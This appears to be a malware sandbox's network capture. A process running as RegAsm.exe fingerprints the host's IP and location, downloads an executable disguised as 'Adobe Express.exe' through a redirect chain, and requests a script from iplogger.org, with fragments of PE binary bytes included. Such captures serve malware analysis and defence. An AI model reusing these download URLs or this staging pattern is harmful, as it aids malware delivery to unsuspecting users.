Sep 6, 2024 08:18:09.061907053 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:18:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	173.231.16.77	443	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:16:58 UTC	202	OUT	GET /?format=json HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: api64.ipify.org
2024-09-06 06:16:58 UTC	156	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:16:58 GMT Content-Type: application/json Content-Length: 20 Connection: close Vary: Origin
2024-09-06 06:16:58 UTC	20	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"ip":"8.46.123.33"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	34.117.59.81	443	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:16:59 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: ipinfo.io
2024-09-06 06:16:59 UTC	458	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 1025 content-type: application/json; charset=utf-8 date: Fri, 06 Sep 2024 06:16:59 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-06 06:16:59 UTC	932	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-09-06 06:16:59 UTC	93	IN	Data Raw: 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: k Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49744	76.76.21.142	443	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:17:05 UTC	209	OUT	GET /download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: file-link-iota.vercel.app Cache-Control: no-cache
2024-09-06 06:17:06 UTC	561	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: public, max-age=0, must-revalidate Content-Type: text/plain Date: Fri, 06 Sep 2024 06:17:06 GMT Location: https://youtransfer.net/handler/download?action=download&download_id=uuVCUDm6&private_id=cb726802f5fcca567315ff7c87e27582&url=https%253A%252F%252Fyoutransfer.net%252FuuVCUDm6%252Fcb726802f5fcca567315ff7c87e27582 Server: Vercel Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Vercel-Id: iad1::24974-1725603426041-564b5855d1e8 Connection: close Transfer-Encoding: chunked
2024-09-06 06:17:06 UTC	20	IN	Data Raw: 66 0d 0a 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 0a 0d 0a Data Ascii: fRedirecting...
2024-09-06 06:17:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	158.69.225.124	443	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:17:06 UTC	402	OUT	GET /handler/download?action=download&download_id=uuVCUDm6&private_id=cb726802f5fcca567315ff7c87e27582&url=https%253A%252F%252Fyoutransfer.net%252FuuVCUDm6%252Fcb726802f5fcca567315ff7c87e27582 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Cache-Control: no-cache Host: youtransfer.net Connection: Keep-Alive
2024-09-06 06:17:07 UTC	574	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:07 GMT Content-Type: "application/octet-stream" Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename*=UTF-8''Adobe%20Express.exe; filename="Adobe Express.exe" Content-Transfer-Encoding: binary Expires: 0 Pragma: no-cache Set-Cookie: droppy_session=aqur2p8vcgc7fuq65425tirj4v6pfdnl; expires=Fri, 06-Sep-2024 08:17:06 GMT; Max-Age=7200; path=/; HttpOnly; SameSite=Lax X-Powered-By: PleskLin
2024-09-06 06:17:07 UTC	15810	IN	Data Raw: 31 64 66 35 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 90 62 00 00 00 00 00 e0 00 02 01 0b 01 03 00 00 56 2e 00 00 f4 04 00 00 00 00 00 30 2b 07 00 00 10 00 00 00 a0 5c 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 80 66 00 00 04 00 00 d3 81 64 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 Data Ascii: 1df5MZ@!L!This program cannot be run in DOS mode.$PELbV.0+\@fd@
2024-09-06 06:17:07 UTC	16384	IN	Data Raw: f7 f1 85 d2 75 04 83 c4 08 c3 8d 05 33 f5 77 00 89 04 24 c7 44 24 04 41 00 00 00 e8 0c 6f 06 00 e8 a7 0d 03 00 90 e8 81 c1 06 00 eb af cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 0d 28 6d a2 0d 0a 32 30 30 30 0d 0a 00 64 8b 09 8b 09 3b 61 08 0f 86 e3 01 00 00 83 ec 2c 8b 44 24 30 0f b6 48 41 84 c9 0f 84 b9 01 00 00 8b 48 10 c1 e1 0d 81 f9 00 00 40 00 0f 85 91 01 00 00 c6 44 24 17 01 0f b6 4c 24 17 88 48 3e 8b 48 10 c1 e1 0d 8b 50 0c 89 14 24 89 4c 24 04 e8 75 d4 00 00 8b 44 24 30 8b 48 10 8d 15 70 7c a2 00 89 14 24 c1 e1 0d 31 d2 29 ca 89 54 24 04 b9 00 00 00 00 83 d9 00 89 4c 24 08 e8 c9 bf 02 00 8b 44 24 30 8b 48 44 8d 15 90 7c a2 00 89 14 24 89 4c 24 04 c7 44 24 08 00 00 00 00 e8 18 21 07 00 8d 05 00 a9 a2 00 89 04 24 e8 ba c0 02 00 8b 44 24 04 84 Data Ascii: u3w$D$Ao(m2000d;a,D$0HAH@D$L$H>HP$L$uD$0Hp\|$1)T$L$D$0HD\|$L$D$!$D$
2024-09-06 06:17:07 UTC	16384	IN	Data Raw: 5b 8b 44 24 54 f3 0f 10 00 f3 0f 5a c0 f2 0f 11 44 24 20 f3 0f 10 48 04 f3 0f 11 4c 24 28 e8 39 fb 02 00 8b 44 24 44 89 04 24 8b 44 24 14 89 44 24 04 e8 85 03 03 00 f2 0f 10 44 24 20 f2 0f 11 04 24 f3 0f 10 44 24 28 f3 0f 5a c0 f2 0f 11 44 24 0d 0a 32 30 30 30 0d 0a 08 e8 d5 ff 02 00 e8 60 fb 02 00 83 c4 4c c3 e8 57 81 06 00 e9 b2 f7 ff ff cc cc 8b 0d 28 6d a2 00 64 8b 09 8b 09 3b 61 08 0f 86 cb 00 00 00 83 ec 20 8b 44 24 28 8b 4c 24 24 eb 64 89 44 24 10 89 4c 24 14 e8 c2 fa 02 00 8b 44 24 1c 89 04 24 8b 4c 24 14 89 4c 24 04 e8 0e 03 03 00 e8 09 fb 02 00 e8 a4 fa 02 00 8d 05 74 aa 7d 00 89 04 24 c7 44 24 04 01 00 00 00 e8 ee 02 03 00 e8 e9 fa 02 00 8b 44 24 18 8b 4c 24 10 29 c8 48 89 c1 f7 d9 c1 f9 1f 8b 54 24 14 21 ca 8b 4c 24 1c 01 d1 89 4c 24 1c 89 44 Data Ascii: [D$TZD$ HL$(9D$D$D$D$D$ $D$(ZD$2000`LW(md;a D$(L$$dD$L$D$$L$L$t}$D$D$L$)HT$!L$L$D
2024-09-06 06:17:07 UTC	16384	IN	Data Raw: 0f 83 14 01 00 00 8d 15 80 f4 9c 00 0f b6 14 0a 83 fa 44 0f 83 f5 00 00 00 8d 1d e0 e7 9c 00 0f b7 14 53 29 fd 29 ea 89 f9 8b 5c 24 18 89 d7 8b 54 24 0c eb 1a 8d 8f ff 1f 00 00 39 cf 76 04 89 f9 eb 0c 81 e1 00 e0 ff ff 89 cd 89 f9 89 ef 39 cf 74 1a 85 f6 0f 84 ae 00 00 00 89 f8 31 d2 f7 f6 0d 0a 31 30 30 30 0d 0a 8b 54 24 0c eb 06 8b 5c 24 18 89 d0 89 44 24 10 8b 4c 24 20 85 c9 74 30 8b 6b 28 8b 75 00 8b 6d 04 0f af f0 85 ed 74 0e 89 0c 24 89 74 24 04 e8 97 d7 05 00 eb 0c 89 0c 24 89 74 24 04 e8 e9 5c 06 00 8b 44 24 20 eb 13 8b 4b 28 89 0c 24 89 44 24 04 e8 d4 a9 05 00 8b 44 24 08 8b 4c 24 10 8b 54 24 0c 39 d1 74 33 8b 5c 24 18 0f b7 5b 32 0f af d3 49 0f af cb 01 c1 8b 2d b8 6f a2 00 8d 4c 19 fc 84 01 01 c2 85 ed 74 0c e8 ec 54 06 00 89 07 8b 19 89 5f 04 Data Ascii: DS))\$T$9v9t11000T$\$D$L$ t0k(umt$t$$t$\D$ K($D$D$L$T$9t3\$[2I-oLtT_
2024-09-06 06:17:07 UTC	16384	IN	Data Raw: 00 00 00 31 d2 f7 f1 0f af c8 ba 01 00 00 00 d3 e2 83 f9 20 19 c0 21 d0 8d 50 ff 21 d3 8b 54 24 20 89 cd e9 23 ff ff ff e8 d7 4d 02 00 8d 69 07 89 d9 8b 5c 24 18 89 4c 24 08 0f b6 37 89 74 24 24 83 e6 7f 89 e9 d3 e6 47 90 83 f9 20 19 db 21 de 8b 5c 24 08 09 f3 8b 74 24 24 f7 c6 80 00 00 00 75 ca 89 dd 8b 5c 24 18 e9 14 fd ff ff 88 1a 83 c0 f8 90 c1 eb 08 42 85 c0 77 f2 89 4c 24 44 83 c4 38 c3 89 4c 24 10 0f b6 37 89 c1 d3 e6 09 f3 8b 74 24 10 46 90 88 1a 90 c1 eb 08 47 42 89 f1 8b 74 24 24 39 e9 72 db 83 e6 07 85 f6 76 0d 0f b6 2f 89 c1 d3 e5 09 eb 90 01 f0 47 89 d1 89 dd e9 76 fc ff ff e8 19 01 06 00 e9 44 fc ff ff cc cc cc cc 8b 0d 28 6d a2 00 64 8b 09 8b 09 3b 61 08 76 60 83 ec 18 8b 44 24 1c 83 c0 1f c1 e8 05 05 ff 1f 00 00 c1 e8 0d 8b 4c 24 20 83 c1 Data Ascii: 1 !P!T$ #Mi\$L$7t$$G !\$t$$u\$BwL$D8L$7t$FGBt$$9rv/GvD(md;av`D$L$
2024-09-06 06:17:07 UTC	16384	IN	Data Raw: 75 04 31 c0 eb 21 89 3c 24 89 44 24 04 c6 44 24 08 01 e8 8d 19 05 00 8b 44 24 0c 8b 6c 24 44 8b 74 24 3c 8b 7c 24 40 85 c0 0f 84 0d 01 00 00 0f b7 46 22 25 ff 7f 00 00 90 66 85 c0 75 06 31 c9 31 c0 eb 47 0f b6 4e 0c f6 c1 01 74 07 b9 34 00 00 00 eb 05 b9 24 00 00 00 0f b7 56 20 01 d0 0f b7 c0 01 ce 3d 00 00 02 00 0f 87 c1 00 00 00 0f b7 d2 39 c2 0f 87 ad 00 00 00 29 d0 89 c1 f7 d8 c1 e2 02 c1 f8 1f 21 c2 8d 04 16 31 d2 31 db eb 40 8d 05 30 4e 41 00 89 44 24 64 8d 44 24 70 89 44 24 68 8d 44 24 64 89 04 24 e8 55 c0 05 00 83 c4 6c c3 83 c4 6c c3 8b 34 90 0f b6 6e 0d 8d 5c 2b ff 87 dd f7 db 87 dd 21 eb 42 03 1e 8b 6c 24 44 39 d1 7f e2 8d 43 03 83 e0 fc 89 44 24 34 90 e8 af f7 ff ff 8d 05 c0 4d 41 00 89 44 24 4c 8d 44 24 70 89 44 24 50 8d 44 24 78 89 44 24 54 Data Ascii: u1!<$D$D$D$l$Dt$<\|$@F"%fu11GNt4$V =9)!11@0NAD$dD$pD$hD$d$Ull4n\+!Bl$D9CD$4MAD$LD$pD$PD$xD$T
2024-09-06 06:17:07 UTC	16384	IN	Data Raw: 44 24 0c 8b 0d 80 ed a0 00 89 4c 24 14 90 90 8d 15 20 ec a0 00 89 14 24 e8 07 1f ff ff 8b 44 24 0c 8b 4c 24 14 31 d2 eb 35 89 54 24 10 8b 05 54 ed a0 00 84 00 8b 04 98 84 00 05 40 08 00 00 89 04 24 c7 44 24 04 40 00 00 00 e8 75 9d 05 00 8b 44 24 10 8d 50 01 8b 44 24 0c 8b 4c 24 14 39 c2 7d 0d 8b 1c 91 81 fb 00 04 00 00 72 bc eb 3a c7 05 48 82 a0 00 00 00 00 00 c7 05 4c 82 a0 00 00 00 00 00 8d 05 c8 7b a2 00 89 04 24 e8 a3 e2 05 00 8b 44 24 04 8b 4c 24 08 0d 0a 32 30 30 30 0d 0a 89 05 ac 82 a0 00 89 0d b0 82 a0 00 83 c4 18 c3 89 d8 b9 00 04 00 00 e8 df 95 05 00 90 e8 b9 4b 05 00 e9 04 ff ff ff cc cc cc cc 8b 0d 28 6d a2 00 64 8b 09 8b 09 3b 61 08 76 32 83 ec 0c 8b 59 10 85 db 75 2f 8b 42 08 89 44 24 08 90 8b 05 c4 6e a0 00 89 04 24 c7 44 24 04 00 00 00 00 Data Ascii: D$L$ $D$L$15T$T@$D$@uD$PD$L$9}r:HL{$D$L$2000K(md;av2Yu/BD$n$D$
2024-09-06 06:17:07 UTC	16384	IN	Data Raw: c7 44 24 04 01 00 00 00 e8 37 a2 05 00 8b 44 24 08 48 39 05 54 82 a0 00 76 4e 8b 4c 24 50 89 0c 24 89 44 24 04 0f b6 44 24 17 88 44 24 08 e8 01 d8 ff ff 8b 54 24 44 85 d2 75 04 31 c0 eb 0c 8b 02 ff d0 0f b6 04 24 8b 54 24 44 84 c0 0f 84 01 ff ff ff 8b 44 24 50 8b 74 24 54 8b 7c 24 3c 8b 4c 24 18 e9 5b fe ff ff 8b 4c 24 40 8b 5c 24 20 8b 6c 24 24 8b 74 24 54 8b 7c 24 3c 8b 54 24 48 e9 88 fb ff ff 8d 05 32 18 77 00 89 04 24 c7 44 24 04 17 00 00 00 e8 f9 ee 04 00 90 e8 73 41 05 00 e9 7e fa ff ff cc cc cc 0d 0a 32 30 30 30 0d 0a cc cc cc cc cc cc cc cc cc cc cc 8b 0d 28 6d a2 00 64 8b 09 8b 09 3b 61 0c 0f 86 b1 02 00 00 83 ec 20 0f b6 15 b8 6f a2 00 84 d2 0f 84 88 02 00 00 8b 54 24 24 8b 5a 10 8b 6a 14 8b 35 28 6d a2 00 64 8b 36 8b 36 8b 76 18 8b 76 50 89 74 Data Ascii: D$7D$H9TvNL$P$D$D$D$T$Du1$T$DD$Pt$T\|$<L$[L$@\$ l$$t$T\|$<T$H2w$D$sA~2000(md;a oT$$Zj5(md66vvPt
2024-09-06 06:17:07 UTC	16384	IN	Data Raw: e8 47 82 01 00 8d 05 99 81 76 00 89 04 24 c7 44 24 04 05 00 00 00 e8 11 84 01 00 8b 44 24 2c 89 04 24 8b 44 24 1c 89 44 24 04 e8 1d 82 01 00 e8 98 7d 01 00 e8 f3 7b 01 00 8d 05 2b 34 77 00 89 04 24 c7 44 24 04 1a 00 00 00 e8 5d af 04 00 90 e8 d7 01 05 00 e9 12 ff ff ff cc cc 8b 0d 28 6d a2 00 64 8b 09 8b 09 3b 61 0c 0f 86 0c 01 00 00 83 ec 28 90 8d 05 bc 77 a0 00 89 04 24 e8 5a 60 05 00 81 7c 24 04 00 00 00 80 8d 05 60 7b a2 00 89 04 24 0f 94 c1 88 4c 24 04 e8 fd f6 ff ff 8b 05 28 6c a2 00 85 c0 74 0e 8d 05 60 7b a2 00 89 04 24 e8 45 d8 ff ff 0f b6 05 f0 92 a0 00 84 c0 75 06 31 c9 31 c0 eb 0c e8 0f c5 03 00 8b 04 24 8b 4c 24 04 85 c9 74 28 89 4c 24 18 89 44 24 24 89 04 24 89 4c 24 04 e8 80 dd 03 00 8b 44 24 24 89 04 24 8b 44 24 18 89 44 24 04 e8 0c c6 03 Data Ascii: Gv$D$D$,$D$D$}{+4w$D$](md;a(w$Z`\|$`{$L$(lt`{$Eu11$L$t(L$D$$$L$D$$$D$D$
2024-09-06 06:17:07 UTC	16384	IN	Data Raw: 00 8d 05 90 90 76 00 89 04 24 c7 44 24 04 08 00 00 00 e8 25 44 01 00 8b 44 24 64 89 04 24 c7 44 24 04 00 00 00 00 e8 01 41 01 00 e8 ac 3d 01 00 e8 07 3c 01 00 8d 05 a6 67 77 00 89 04 24 c7 44 24 04 20 00 00 00 e8 71 6f 04 00 41 0f b7 68 1a 83 c5 07 c1 ed 03 39 e9 0f 83 15 f9 ff ff 8b 68 2c 84 45 00 0f b6 2c 29 8b 70 28 84 06 0f b6 34 31 87 de f7 d3 87 de 95 87 de 84 c3 87 de 95 74 ca 89 4c 24 40 89 04 24 e8 0f 06 00 00 8b 44 24 30 8b 4c 24 40 0f b6 54 24 17 8b 5c 24 2c eb ab ff 84 24 a4 00 00 00 41 0f b7 68 1a 39 e9 0f 83 5f f8 ff ff 8b ac 24 90 00 00 00 0f b6 b4 24 94 00 00 00 0f b6 6d 00 96 87 dd 84 c3 87 dd 96 0f 85 e1 00 00 00 0f b7 68 18 39 ac 24 a4 00 00 00 72 21 8b ac 24 9c 00 00 00 0f b6 b4 24 a0 00 00 00 0f b6 6d 00 96 87 dd 84 c3 87 dd 96 0f 84 Data Ascii: v$D$%DD$d$D$A=<gw$D$ qoAh9h,E,)p(41tL$@$D$0L$@T$\$,$Ah9_$$mh9$r!$$m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49752	104.26.2.46	443	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:17:26 UTC	196	OUT	GET /1nhuM4.js HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: iplogger.org
2024-09-06 06:17:26 UTC	1280	IN	HTTP/1.1 403 Forbidden Date: Fri, 06 Sep 2024 06:17:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 17268 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2024-09-06 06:17:26 UTC	663	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 48 59 41 6d 54 36 54 69 6a 75 52 77 6b 77 2b 44 4a 50 74 35 4d 4a 75 68 4a 32 63 43 49 6e 2b 4d 32 54 77 31 76 48 4a 79 52 59 36 6b 79 65 6d 38 6e 5a 71 66 62 68 57 44 6b 63 47 61 59 53 76 4f 2b 54 6f 33 6a 38 50 62 4c 69 6a 62 6d 6b 76 58 54 34 4d 4f 72 65 5a 6e 78 79 37 7a 35 43 6e 6f 39 53 77 78 30 43 42 36 4b 4a 6f 3d 24 6a 41 55 49 48 30 71 32 67 34 4d 51 51 69 48 34 52 57 68 6d 44 41 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 Data Ascii: cf-chl-out: HYAmT6TijuRwkw+DJPt5MJuhJ2cCIn+M2Tw1vHJyRY6kyem8nZqfbhWDkcGaYSvO+To3j8PbLijbmkvXT4MOreZnxy7z5Cno9Swx0CB6KJo=$jAUIH0q2g4MQQiH4RWhmDA==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires:
2024-09-06 06:17:26 UTC	795	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-09-06 06:17:26 UTC	1369	IN	Data Raw: 20 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 74 68 65 6d 65 2d 64 61 72 6b 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 62 6f 64 79 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 39 39 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 62 32 30 66 30 33 7d 62 6f 64 79 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 Data Ascii: a{color:#fff}body.theme-dark a:hover{color:#ee730a;text-decoration:underline}body.theme-dark .lds-ring div{border-color:#999 transparent transparent}body.theme-dark .font-red{color:#b20f03}body.theme-dark .pow-button{background-color:#4693ff;color:#1d1d1
